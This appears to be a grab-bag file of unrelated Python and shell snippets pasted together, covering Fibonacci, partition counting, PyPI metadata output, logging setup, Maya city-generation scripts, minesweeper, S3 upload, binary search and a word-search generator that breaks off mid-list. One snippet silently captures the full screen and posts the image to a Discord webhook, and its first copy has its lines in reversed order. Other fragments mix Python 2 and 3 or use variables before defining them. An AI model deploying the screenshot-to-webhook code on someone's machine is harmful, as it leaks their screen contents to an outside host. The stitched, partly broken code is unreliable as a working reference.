n=int(input('enter number:'))
num1,num2=0,1
print(num1,num2,end=' ')
for i in range(2,n):
    num3=num1+num2
    num1=num2
    num2=num3
    print(num3,end=' ')
def count_partitions(n, m):
  if (n == 0 ): 
    return 1 # there is only 1 way i.e. to leave it unpartitioned
  if (m == 0 or n < 0):
    return 0 # there is no way to divide n into 0 partions or if n is -ve (latter one from edge case of recursion call of n - m)
  else:
    return count_partitions(n - m, m) + count_partitions(n, m - 1)

print(count_partitions(9, 5)) # 23
  
def uniquePaths(n, m):
  if (n == 1 or m == 1):
    return 1
  else:
    return uniquePaths(n - 1, m) + uniquePaths(n, m - 1)

print(uniquePaths(3, 3))
result.fillna(0, inplace=True)
import json
import pprint

from urllib.request import urlopen

with urlopen("https://pypi.org/pypi/sampleproject/json") as resp:
    project_info = json.load(resp)["info"]

print(project_info)
""" Result:
    {'author': '', 'author_email': '"A. Random Developer" <author@example.com>', 'bugtrack_url': None, 'classifiers': ['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3 :: Only', 'Programming Language :: Python :: 3.10', 'Programming Language :: Python :: 3.11', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Topic :: Software Development :: Build Tools'], 'description': '# A sample Python project\n\n![Python Logo](https://www.python.org/static/community_logos/python-logo.png "Sample inline image")\n\nA sample project that exists as an aid to the [Python Packaging User\nGuide][packaging guide]\'s [Tutorial on Packaging and Distributing\nProjects][distribution tutorial].\n\nThis project does not aim to cover best practices for Python project\ndevelopment as a whole. For example, it does not provide guidance or tool\nrecommendations for version control, documentation, or testing.\n\n[The source for this project is available here][src].\n\nThe metadata for a Python project is defined in the `pyproject.toml` file,\nan example of which is included in this project. You should edit this file\naccordingly to adapt this sample project to your needs.\n\n----\n\nThis is the README file for the project.\n\nThe file should use UTF-8 encoding and can be written using\n[reStructuredText][rst] or [markdown][md use] with the appropriate [key set][md\nuse]. It will be used to generate the project webpage on PyPI and will be\ndisplayed as the project homepage on common code-hosting services, and should be\nwritten for that purpose.\n\nTypical contents for this file would include an overview of the project, basic\nusage examples, etc. Generally, including the project changelog in here is not a\ngood idea, although a simple “What\'s New” section for the most recent version\nmay be appropriate.\n\n[packaging guide]: https://packaging.python.org\n[distribution tutorial]: https://packaging.python.org/tutorials/packaging-projects/\n[src]: https://github.com/pypa/sampleproject\n[rst]: http://docutils.sourceforge.net/rst.html\n[md]: https://tools.ietf.org/html/rfc7764#section-3.5 "CommonMark variant"\n[md use]: https://packaging.python.org/specifications/core-metadata/#description-content-type-optional\n', 'description_content_type': 'text/markdown', 'docs_url': None, 'download_url': '', 'downloads': {'last_day': -1, 'last_month': -1, 'last_week': -1}, 'home_page': '', 'keywords': 'sample,setuptools,development', 'license': 'Copyright (c) 2016 The Python Packaging Authority (PyPA)  Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:  The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ', 'maintainer': '', 'maintainer_email': '"A. Great Maintainer" <maintainer@example.com>', 'name': 'sampleproject', 'package_url': 'https://pypi.org/project/sampleproject/', 'platform': None, 'project_url': 'https://pypi.org/project/sampleproject/', 'project_urls': {'Bug Reports': 'https://github.com/pypa/sampleproject/issues', 'Funding': 'https://donate.pypi.org', 'Homepage': 'https://github.com/pypa/sampleproject', 'Say Thanks!': 'http://saythanks.io/to/example', 'Source': 'https://github.com/pypa/sampleproject/'}, 'release_url': 'https://pypi.org/project/sampleproject/3.0.0/', 'requires_dist': ['peppercorn', "check-manifest ; extra == 'dev'", "coverage ; extra == 'test'"], 'requires_python': '>=3.7', 'summary': 'A sample Python project', 'version': '3.0.0', 'yanked': False, 'yanked_reason': None}
"""

pprint.pprint(project_info)
"""
    {'author': '',
     'author_email': '"A. Random Developer" <author@example.com>',
     'bugtrack_url': None,
     'classifiers': ['Development Status :: 3 - Alpha',
                     'Intended Audience :: Developers',
                     'License :: OSI Approved :: MIT License',
                     'Programming Language :: Python :: 3',
                     'Programming Language :: Python :: 3 :: Only',
                     'Programming Language :: Python :: 3.10',
                     'Programming Language :: Python :: 3.11',
                     'Programming Language :: Python :: 3.7',
                     'Programming Language :: Python :: 3.8',
                     'Programming Language :: Python :: 3.9',
                     'Topic :: Software Development :: Build Tools'],
     'description': '# A sample Python project\n'
                    '\n'
                    '![Python '
                    'Logo](https://www.python.org/static/community_logos/python-logo.png '
                    '"Sample inline image")\n'
                    '\n'
                    'A sample project that exists as an aid to the [Python '
                    'Packaging User\n'
                    "Guide][packaging guide]'s [Tutorial on Packaging and "
                    'Distributing\n'
                    'Projects][distribution tutorial].\n'
                    '\n'
                    'This project does not aim to cover best practices for Python '
                    'project\n'
                    'development as a whole. For example, it does not provide '
                    'guidance or tool\n'
                    'recommendations for version control, documentation, or '
                    'testing.\n'
                    '\n'
                    '[The source for this project is available here][src].\n'
                    '\n'
                    'The metadata for a Python project is defined in the '
                    '`pyproject.toml` file,\n'
                    'an example of which is included in this project. You should '
                    'edit this file\n'
                    'accordingly to adapt this sample project to your needs.\n'
                    '\n'
                    '----\n'
                    '\n'
                    'This is the README file for the project.\n'
                    '\n'
                    'The file should use UTF-8 encoding and can be written using\n'
                    '[reStructuredText][rst] or [markdown][md use] with the '
                    'appropriate [key set][md\n'
                    'use]. It will be used to generate the project webpage on PyPI '
                    'and will be\n'
                    'displayed as the project homepage on common code-hosting '
                    'services, and should be\n'
                    'written for that purpose.\n'
                    '\n'
                    'Typical contents for this file would include an overview of '
                    'the project, basic\n'
                    'usage examples, etc. Generally, including the project '
                    'changelog in here is not a\n'
                    "good idea, although a simple “What's New” section for the "
                    'most recent version\n'
                    'may be appropriate.\n'
                    '\n'
                    '[packaging guide]: https://packaging.python.org\n'
                    '[distribution tutorial]: '
                    'https://packaging.python.org/tutorials/packaging-projects/\n'
                    '[src]: https://github.com/pypa/sampleproject\n'
                    '[rst]: http://docutils.sourceforge.net/rst.html\n'
                    '[md]: https://tools.ietf.org/html/rfc7764#section-3.5 '
                    '"CommonMark variant"\n'
                    '[md use]: '
                    'https://packaging.python.org/specifications/core-metadata/#description-content-type-optional\n',
     'description_content_type': 'text/markdown',
     'docs_url': None,
     'download_url': '',
     'downloads': {'last_day': -1, 'last_month': -1, 'last_week': -1},
     'home_page': '',
     'keywords': 'sample,setuptools,development',
     'license': 'Copyright (c) 2016 The Python Packaging Authority (PyPA)  '
                'Permission is hereby granted, free of charge, to any person '
                'obtaining a copy of this software and associated documentation '
                'files (the "Software"), to deal in the Software without '
                'restriction, including without limitation the rights to use, '
                'copy, modify, merge, publish, distribute, sublicense, and/or sell '
                'copies of the Software, and to permit persons to whom the '
                'Software is furnished to do so, subject to the following '
                'conditions:  The above copyright notice and this permission '
                'notice shall be included in all copies or substantial portions of '
                'the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY '
                'OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE '
                'WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE '
                'AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT '
                'HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, '
                'WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING '
                'FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR '
                'OTHER DEALINGS IN THE SOFTWARE. ',
     'maintainer': '',
     'maintainer_email': '"A. Great Maintainer" <maintainer@example.com>',
     'name': 'sampleproject',
     'package_url': 'https://pypi.org/project/sampleproject/',
     'platform': None,
     'project_url': 'https://pypi.org/project/sampleproject/',
     'project_urls': {'Bug Reports': 'https://github.com/pypa/sampleproject/issues',
                      'Funding': 'https://donate.pypi.org',
                      'Homepage': 'https://github.com/pypa/sampleproject',
                      'Say Thanks!': 'http://saythanks.io/to/example',
                      'Source': 'https://github.com/pypa/sampleproject/'},
     'release_url': 'https://pypi.org/project/sampleproject/3.0.0/',
     'requires_dist': ['peppercorn',
                       "check-manifest ; extra == 'dev'",
                       "coverage ; extra == 'test'"],
     'requires_python': '>=3.7',
     'summary': 'A sample Python project',
     'version': '3.0.0',
     'yanked': False,
     'yanked_reason': None}
"""
class CustomFormatter(logging.Formatter):

    grey = "\x1b[38;20m"
    yellow = "\x1b[33;20m"
    red = "\x1b[31;20m"
    bold_red = "\x1b[31;1m"
    reset = "\x1b[0m"
    format = "%(asctime)s - %(name)s - %(levelname)s - %(message)s (%(filename)s:%(lineno)d)"

    FORMATS = {
        logging.DEBUG: grey + format + reset,
        logging.INFO: grey + format + reset,
        logging.WARNING: yellow + format + reset,
        logging.ERROR: red + format + reset,
        logging.CRITICAL: bold_red + format + reset
    }

    def format(self, record):
        log_fmt = self.FORMATS.get(record.levelno)
        formatter = logging.Formatter(log_fmt)
        return formatter.format(record)

# create logger with 'spam_application'
logger = logging.getLogger("My_app")
logger.setLevel(logging.DEBUG)

# create console handler with a higher log level
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)

ch.setFormatter(CustomFormatter())

logger.addHandler(ch)
import logging
logger = logging.getLogger('cmdstanpy')
logger.addHandler(logging.NullHandler())
logger.propagate = False
logger.setLevel(logging.CRITICAL)
In [69]:
df.apply(lambda x: x.str.contains('|'.join(column_filters[x.name]), case=False))

Out[69]:
  COLUMN_1 COLUMN_2
0     True     True
1     True    False
2    False     True
3    False    False
4    False    False
from multiprocessing import Process

def func1():
  print 'func1: starting'
  for i in xrange(10000000): pass
  print 'func1: finishing'

def func2():
  print 'func2: starting'
  for i in xrange(10000000): pass
  print 'func2: finishing'

if __name__ == '__main__':
  p1 = Process(target=func1)
  p1.start()
  p2 = Process(target=func2)
  p2.start()
  p1.join()
  p2.join()

# give arg to function later
def scan_smth(domain):
    print("starting detailed scan")
    target=ssllabsscanner.newScan(domain)

t1 = Process(target=scan_smth, args=("www.example.com",))
t1.start()
t1.join()
# Send the screenshot through the webhook
files = {"file": ("screenshot.png", screenshot_buffer, "image/png")}
requests.post(WEBHOOK_URL, files=files)
# Save the screenshot to a BytesIO buffer
screenshot_buffer = BytesIO()
screenshot.save(screenshot_buffer, format="PNG")
screenshot_buffer.seek(0)
# Capture a screenshot
screenshot = ImageGrab.grab()
# Replace this with your Discord webhook URL
WEBHOOK_URL = "https://discordapp.com/api/webhooks/..."
import time
from io import BytesIO

import requests
from PIL import ImageGrab
import time
from io import BytesIO

import requests
from PIL import ImageGrab


# Replace this with your Discord webhook URL
WEBHOOK_URL = "https://discordapp.com/api/webhooks/..."

# Capture a screenshot
screenshot = ImageGrab.grab()

# Save the screenshot to a BytesIO buffer
screenshot_buffer = BytesIO()
screenshot.save(screenshot_buffer, format="PNG")
screenshot_buffer.seek(0)

# Send the screenshot through the webhook
files = {"file": ("screenshot.png", screenshot_buffer, "image/png")}
requests.post(WEBHOOK_URL, files=files)
pip install pillow
pip install requests
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager

driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))
driver.get("https://www.google.com")
lsof -t -i tcp:8000 | xargs kill -9
import maya.cmds as cmds
import re

# List all meshes in the scene
meshes = cmds.ls(type="mesh")

# Define the naming convention regex pattern
# Use capture groups and wildcard patterns to match the material name and mesh name
# Append "Shape" to the end of the regex pattern to only match mesh objects with "Shape" in their name
naming_convention = "(.+)_(.+)_####_GEOShape"

# Check if the "NamingConventionFail" selection set already exists
if cmds.objExists("NamingConventionFail"):
    # Delete the "NamingConventionFail" selection set
    cmds.delete("NamingConventionFail")

# Create the "NamingConventionFail" selection set
cmds.sets(name="NamingConventionFail")

# Loop through the meshes
for mesh in meshes:
    # Use re.search to check if the mesh name matches the naming convention
    match = re.search(naming_convention, mesh)
    if not match:
        # Add the mesh to the "NamingConventionFail" selection set
        cmds.sets(mesh, add="NamingConventionFail")

# Get the list of meshes in the "NamingConventionFail" selection set
mesh_list = cmds.sets("NamingConventionFail", query=True)

# Create a GUI window
window = cmds.window(title="Naming Convention Check")

# Create a column layout in the GUI window
layout = cmds.columnLayout()

# Create a label that displays the text "List of meshes that don't follow the correct naming convention"
cmds.text(label="List of meshes that don't follow the correct naming convention")

# Create a text scroll list in the column layout
cmds.textScrollList(append=mesh_list)

# Show the GUI window
cmds.showWindow(window)
import maya.cmds as cmds
import random

# Create a new window
window = cmds.window(title="Generating your city", widthHeight=(300, 200))
 
# Add a layout to the window
layout = cmds.columnLayout()
 
# Add a text field to the layout
text_field = cmds.text(label="..............{--Generating your city--}..............")
 
# Display the window
cmds.showWindow(window)

# Creates a "City_GRP" group
city_grp = cmds.group(name="City_GRP", empty=True)

for i in range(2000):
    # Create a cube with the "Building_####_GEO" name
    building_name = "Building_%04d_GEO" % i
    cube = cmds.polyCube(name=building_name)

    # Generate random X and Z coordinates with a maximum distance of 100 units from the world origin
    x = random.uniform(-100, 100)
    z = random.uniform(-100, 100)

    # Calculate the distance of the cube from the origin using the Pythagorean theorem
    distance = (x**2 + z**2)**0.5

    # Generate random scale values for the X, Z, and Y axes, with a max X and Z scale of 6 and a max Y scale of 20
    # and divide it by the pythagorean
    x_scale = random.uniform(1, 6) / (distance / 9)
    y_scale = random.uniform(1, 20) / (distance / 9)
    z_scale = random.uniform(1, 6) / (distance / 9)

    # Check if any of the scales are larger than 35 and delete the cube if they are
    if x_scale > 15 or y_scale > 35 or z_scale > 15:
        cmds.delete(building_name)
        continue

    # Randomize the cube's scale using the cmds.scale command
    cmds.scale(x_scale, y_scale, z_scale, building_name)

    # Position the cube at the random X and Z coordinates
    cmds.move(x, 0, z, building_name)

    # store the X and Z coordinates
    x_coord = cmds.getAttr(building_name + ".translateX")
    z_coord = cmds.getAttr(building_name + ".translateZ")

    # get the cubes bounding box
    bbox = cmds.xform(building_name, query=True, boundingBox=True)

    # store the minimum y value of the bounding box
    min_y = bbox[1]

    # Subtract the minimum y value from the cube's y coordinate
    y = 0 - min_y

    # set the new transform of the cube using the stored X and Z coordinates
    cmds.move(x_coord, y, z_coord, building_name)

    # Add the cube to the City_GRP group
    cmds.parent(building_name, city_grp)

	# ------------------------- group buildings

# Get all children of City_GRP that start with "Building"
buildings = cmds.listRelatives("City_GRP", children=True, type="transform")
buildings = [b for b in buildings if b.startswith("Building")]

# Create three groups to hold the buildings, using the desired names
group1 = cmds.group(empty=True, name="cityCenter_GRP")
group2 = cmds.group(empty=True, name="cityLimits_GRP")
group3 = cmds.group(empty=True, name="cityOutskirts_GRP")

# Add the groups as children of City_GRP
cmds.parent([group1, group2, group3], "City_GRP")

# Iterate over the buildings and add them to the appropriate group
for building in buildings:
    # Get the distance of the building from the world origin
    position = cmds.xform(building, query=True, worldSpace=True, translation=True)
    distance = (position[0]**2 + position[1]**2 + position[2]**2)**0.5

    if distance < 33.33:
        cmds.parent(building, group1)
    elif distance < 66.66:
        cmds.parent(building, group2)
    else:
        cmds.parent(building, group3)

    # ----------------------- build environment


# Create a plane with a scale of 200 in each direction
cmds.polyPlane(name="groundPlane_GEO", w=200, h=200)

# Create a directional light
cmds.directionalLight(name="sun_LGT")

# Set the position and rotation of the light using the move and rotate commands
cmds.move(0, 60, 0, "sun_LGT", absolute=True)
cmds.rotate(-22, 50, 0, "sun_LGT", absolute=True)

# Set the light shadow color to a grey with a value of 0.35
cmds.setAttr("sun_LGT.shadowColor", 0.35, 0.35, 0.35, type="double3")

# Create a group to hold the plane and light
cmds.group(name="environment_GRP", empty=True)

# Add the plane and light to the group
cmds.parent("groundPlane_GEO", "environment_GRP")
cmds.parent("sun_LGT", "environment_GRP")

# Add the environment group as a child of the City group
cmds.parent("environment_GRP", "City_GRP")

# Update the text field to say "Done"
cmds.text(text_field, edit=True, label=".............._____Done_____..............")
import maya.cmds as cmds
import random
import math

# Create the City_GRP group
cmds.group(name="City_GRP", empty=True)

# Create 2000 cubes with random X, Z, and Y scale
for i in range(1, 2001):
    # Create a cube with the "Building_####_GEO" name
    cube = cmds.polyCube(w=1, h=1, d=1, name="Building_{:04d}_GEO".format(i))

    # Generate random X and Z coordinates with a maximum distance of 100 units from the world origin
    x_coord = random.uniform(-100, 100)
    z_coord = random.uniform(-100, 100)

    # Calculate the distance of the cube from the origin using the Pythagorean theorem
    distance = math.sqrt(x_coord**2 + z_coord**2)

    # Generate random scale values for the X, Z, and Y axes, with a max X and Z scale of 6 and a max Y scale of 20
    x_scale = random.uniform(1, 6) / (distance / 10)
    z_scale = random.uniform(1, 6) / (distance / 10)
    y_scale = random.uniform(1, 20) / (distance / 10)

    # Randomize the cube's scale using the cmds.scale command
    cmds.scale(x_scale, y_scale, z_scale, cube)

    # Position the cube at the random X and Z coordinates
    cmds.setAttr(cube[0] + ".translateX", x_coord)
    cmds.setAttr(cube[0] + ".translateZ", z_coord)

    # Add the cube to the City_GRP group
    cmds.parent(cube[0], "City_GRP")
import pandas as pd
from sklearn.model_selection import train_test_split

# Load the data from the CSV file
data = pd.read_csv("data.csv")

# Split the data into train and validation sets, using 85% of the data for training and 15% for validation for the "labels" column
train_data, validation_data = train_test_split(data, train_size=0.85, test_size=0.15, random_state=42, stratify=data["labels"])

# Write the train and validation datasets to CSV files
train_data.to_csv("train.csv", index=False)
validation_data.to_csv("valid.csv", index=False)
lsof -t -i tcp:8000 | xargs kill -9
REST_FRAMEWORK = { 
 (...)
'DEFAULT_CONTENT_NEGOTIATION_CLASS': 'myapp.renderers.IgnoreClientContentNegotiation',
}
sudo apt update
sudo apt install software-properties-common
from random import*

class Board:
    def __init__(self, dim, num_bombs):
        self.dim = dim
        self.num_bombs = num_bombs
        self.board = ["@" for i in range(dim * dim)]
        self.around = [dim, -dim, 1, -1, dim+1, -dim+1, dim-1, -dim-1]
    
    def set_board(self, first_choice):
        x = set()
       
        while len(x) < self.num_bombs:
            idx = randint(0, pow(self.dim, 2) - 1)
            while idx == first_choice:
                idx = randint(0, pow(self.dim, 2) - 1)
            x.add(idx)
           
        self.bombs = sorted(list(x))
        print(self.bombs)

    def print_board(self):
        for idx in range(pow(self.dim, 2)):
            if idx % self.dim == 0 and idx != 0:
                print()
            print(self.board[idx], end = " ")
        print()
           
           
    def update_board(self, idx):
        if idx in self.bombs:
            for i in self.bombs:
                self.board[i] = "*"
            self.print_board()
            print()
            print("Game Over!")
            return False
        elif 0 <= idx < pow(self.dim, 2):
            self.board[idx] = str(len(set(self.bombs).intersection(set([idx+j for j in self.around if 0 < idx+j < pow(self.dim, 2)]))))
            if "@" not in [el for i, el in enumerate(self.board) if i not in self.bombs]:
                print("Win!")
                self.print_board()
                return False
            return True
            
    def get_input(self):
        while True:
            try:
                i = int(input("Dig the mine(0~" + str(pow(self.dim, 2) - 1) + "): "))
                if 0 < i >= pow(self.dim, 2):
                    raise Exception
                break
            except:
                print("Invalid_input!")
        return i
        

def play(dim, num_bombs):
    
    board = Board(dim, num_bombs)
    board.print_board()
    i = board.get_input()
    board.set_board(i)
    
    while board.update_board(i):
        board.print_board()
        i = board.get_input()

dim = int(input("Enter demension: "))
num_bombs = int(input("Enter number of bombs: "))
play(dim, num_bombs)
import logging
import boto3
from botocore.exceptions import ClientError
import os


def upload_file(file_name, bucket, object_name=None):
    """Upload a file to an S3 bucket

    :param file_name: File to upload
    :param bucket: Bucket to upload to
    :param object_name: S3 object name. If not specified then file_name is used
    :return: True if file was uploaded, else False
    """

    # If S3 object_name was not specified, use file_name
    if object_name is None:
        object_name = os.path.basename(file_name)

    # Upload the file
    s3_client = boto3.client('s3')
    try:
        response = s3_client.upload_file(file_name, bucket, object_name)
    except ClientError as e:
        logging.error(e)
        return False
    return True
#method 1
def evaluate(n, l, r, m, list_a):
    if list_a[m] > n:
        r = m
        m = (l+r) // 2
    elif list_a[m] < n:
        l = m+1
        m = (l+r) // 2
    elif list_a[m] == n:
        return "found"
    return (l, r, m)
    
def binary_search(list_a, n):
    l, r = 0, len(list_a) - 1
    m = (l+r) // 2
    
    while True:
        try:
            l, r, m = evaluate(n, l, r, m, list_a)
      
        except Exception:
            break
  
    return m
    

#method 2
def recursive_binary_search(list_a, target, l = None, r = None):
    if list_a == []:
        return None
        
    if l == None and r == None:
        l = 0
        r = len(list_a) - 1
        
    mid = (l + r) // 2
    
    if list_a[mid] == target:
        return mid
    elif target < list_a[mid]:
        return recursive_binary_search(list_a, target, l, mid - 1)
    elif target > list_a[mid]:
        return recursive_binary_search(list_a, target, mid + 1, r)
        
def naive_search(list_a, target):
    for i in list_a:
        if i == target:
            return target
    return None

#test
from random import*
from time import*

sorted_list = set()
length = 1000

while len(sorted_list) < length:
    sorted_list.add(randint(-8 * length, 8* length))

sorted_list = sorted(list(sorted_list))

start = time()
for target in sorted_list:
    naive_search(sorted_list, target)
end = time()
print("Naive Search:", (end - start) / length)

start = time()
for target in sorted_list:
    binary_search(sorted_list, target)
end = time()
print("Binary Search:", (end - start) / length)
    
start = time()
for target in sorted_list:
    recursive_binary_search(sorted_list, target)
end = time()
print("Recursive Binary Search:", (end - start) / length)

   
import pandas as pd
from dataprep.eda import create_report
df = pd.read_csv("parking_violations.csv")
create_report(df)

#Plot 
plot(df)
plot_correlation(df)

#plot correlation
plot_correlation(df, col1, col2)



#load dataset houses, titanic
from dataprep.datasets import load_dataset

#plot diff training and test data
from dataprep.datasets import load_dataset
import numpy as np
df1 = load_dataset("house_prices_train")
df1 = df1.replace(" ?", np.NaN)
df2 = load_dataset("house_prices_test")
df2 = df2.replace(" ?", np.NaN)

#save Report
from dataprep.eda import create_report
report = create_report(df, title='My Report')
report.save(filename='report_01', to='~/Desktop')
import sweetviz as sv
analyze_report = sv.analyze(df)
analyze_report.show_html('report.html', open_browser=False)
def diagonal_word() :
    word = words_arr[random.randint(0,23)]
    i_first = random.randint(0,arr_rows-3)
    i = i_first
    j = random.randint(0,arr_columns-3)
    element_occupied = False
    for k in range(0,len(word)):
        if (i - k + len(word) - 1 > arr_rows - 1) or (j - k + len(word) - 1 > arr_columns - 1):
            element_occupied = True
            break
        if ((arr[i][j] != " ")&(arr[i][j] != word[k])):
            element_occupied = True
            i -= k
            j -= k
            break
        i += 1
        j += 1
        if k == len(word) - 1:
            i -= k + 1
            j -= k + 1
    if element_occupied == False:
        for k in range(0,len(word)):
            arr[i][j] = word[k]
            i += 1
            j += 1
            if k == len(word) - 1:
                i -= k + 1
                j -= k + 1
        for k in range(0,len(word)):
            hidden_words_arr[i][j] = word[k]
            i += 1
            j += 1
        return i - k - 1
    else :
        return diagonal_word()
def horizontal_word(count,index):
    count += 1
    if count == 950 :
        return -1
    word = words_arr[random.randint(0,162)]
    if check_word(word) == True or arr[i][3] != " " or arr[i][6] != " ":
        return horizontal_word(count,index)
    i_first = random.randint(1,arr_rows-2)
    i = i_first
    j = random.randint(0,arr_columns-5)
    element_occupied = False
    for k in range(0,len(word)):
        if (j - k + len(word) - 1) > (arr_columns - 1):
            element_occupied = True
            break
        #print(element_occupied)
        if ((arr[i][j] != " ")&(arr[i][j] != word[k])):
            element_occupied = True
            j -= k
            break
        #print(element_occupied)
        j += 1
        if k == len(word) - 1:
            j -= k + 1
    if element_occupied == False:
        for k in range(0,len(word)):
            arr[i][j] = word[k]
            j += 1
            if k == len(word) - 1:
                j -= k + 1
        for k in range(0,len(word)):
            hidden_horizontal_words_arr[i][j] = word[k]
            j += 1
        arr1[index] = word
        return count
    else :
        return horizontal_word(count,index) 
def vertical_word(count,index):
    count += 1 
    if count == 950:
        return -1
    word = words_arr[random.randint(0,162)]
    if check_word(word) == True:
        return vertical_word(count,index)
    i_first = random.randint(0,arr_rows - 5)
    i = i_first
    j = random.randint(1,arr_columns - 2)
    element_occupied = False
    for k in range(0,len(word)):
        if (i - k + len(word) - 1 > arr_rows-1) :
            element_occupied = True
            break
        if ((arr[i][j] != " ")&(arr[i][j] != word[k])):
            element_occupied = True
            i -= k
            break
        if 1:
            i += 1
        if k == len(word) - 1:
           i -= k + 1
    if element_occupied == False:
        for k in range(0,len(word)):
            arr[i][j] = word[k]
            i += 1
            if k == len(word) - 1:
                i -= k + 1
        for k in range(0,len(word)):
            hidden_vertical_words_arr[i][j] = word[k]
            i += 1
        arr1[index] = word
        return count
    else :
        return vertical_word(count,index)   
def clear_array():
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            arr[i][j] = " "
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            hidden_horizontal_words_arr[i][j] = " "
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            hidden_vertical_words_arr[i][j] = " "
def complete_array():
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            if arr[i][j] == " ":
                arr[i][j] = letters_arr[random.randint(0,25)]
def check_word(word):
    check_word_arr = [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']
    for i in range(0,arr_rows):
        check_word_arr[i] = arr[i][0]
        for j in range(1,arr_columns):
            check_word_arr[i] += arr[i][j]
    for j in range(0,arr_rows):
        check_word_arr[arr_rows + j] += arr[0][j]
        for i in range(1,arr_columns):
            check_word_arr[arr_rows + j] += arr[i][j]
    for i in range(0,arr_rows + arr_columns):
        if word in check_word_arr[i] :
            return True
    return False
import random
import time
letters_arr = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
#words_arr = ['apple','chair','company','elevator','television','summer','price','garden','phone','car','ice','desk','cake','board','bus']
#words_arr = ['autumn', 'bathroom', 'body', 'christmas', 'clothes', 'colour', 'food', 'fruits', 'furniture', 'pets', 'school', 'sport', 'spring', 'town', 'toys', 'balloons', 'banana', 'bank', 'basket', 'basketball', 'bat', 'bath', 'bed', 'bee']
#words_arr = ['Lewandowski', 'shed', 'tears', 'after', 'scoring', 'in', 'the', '82nd', 'minute.', 'He', 'raced', 'toward', 'the', 'corner', 'with', 'his', 'arms', 'outstretched,', 'then', 'stayed', 'slumped', 'on', 'the', 'field', 'as', 'teammates', 'rushed', 'to', 'congratulate', 'him.', 'He', 'got', 'up,', 'rubbed', 'his', 'face,', 'and', 'blew', 'a', 'kiss', 'to', 'the', 'crowd.', 'Today', 'everything', 'I', 'had', 'inside,', 'the', 'dreams,', 'the', 'importance', 'of', 'the', 'occasion,', 'all', 'those', 'dreams', 'from', 'my', 'childhood', 'came', 'through,', 'Lewandowski', 'said.', 'It', 'was', 'so', "significant.''One", 'of', 'the', 'best', 'forwards', 'in', 'the', 'world,', "Lewandowski's", 'barren', 'streak', 'at', 'the', 'World', 'Cup', 'was', 'somewhat', 'puzzling.', 'Now,', 'in', 'his', 'fifth', 'match', 'at', 'the', 'tournament,', "it's", 'over.', 'I', 'always', 'wanted', 'to', 'score', 'at', 'the', 'World', 'Cup', 'and', 'this', 'dream', 'came', "true,''", 'said', 'Lewandowski,', 'who', 'had', 'a', 'penalty', 'saved', 'in', "Poland's", '0-0', 'draw', 'with', 'Mexico', 'on', 'Tuesday.', "``It's", 'not', 'easy,', 'because', 'we', "didn't", 'have', 'many', 'opportunities', 'in', 'the', 'first', 'match', 'and', 'I', 'missed', 'that', "penalty.''Against", 'Saudi', 'Arabia,', 'Lewandowski', 'also', 'set', 'up', 'the', 'opener', 'in', 'the', '40th', 'minute', 'when', 'he', 'kept', 'the', 'ball', 'in', 'play', 'after', 'goalkeeper', 'Mohammed', "Al-Owais'", 'initial', 'block,', 'then', 'laid', 'it', 'back', 'for', 'Piotr', 'Zielinski', 'to', 'knock', 'in.', 'Lewandowski,', 'who', 'had', 'no', 'involvement', 'in', 'any', 'goals', 'in', 'his', 'first', 'four', 'World', 'Cup', 'games,', 'also', 'hit', 'the', 'post,', 'and', 'Al-Owais', 'later', 'denied', 'the', 'Barcelona', 'player', 'from', 'scoring', 'another', 'goal', 'toward', 'the', 'end', 'of', 'the', 'match.', 'It', 'was', 'the', 'one', 'that', 'went', 'in', 'that', 'brought', 'tears', 'to', 'the', '34-year-old', "striker's", 'eyes.', 'The', 'older', 'I', 'get,', 'the', 'more', 'emotional', 'I', "get,''", 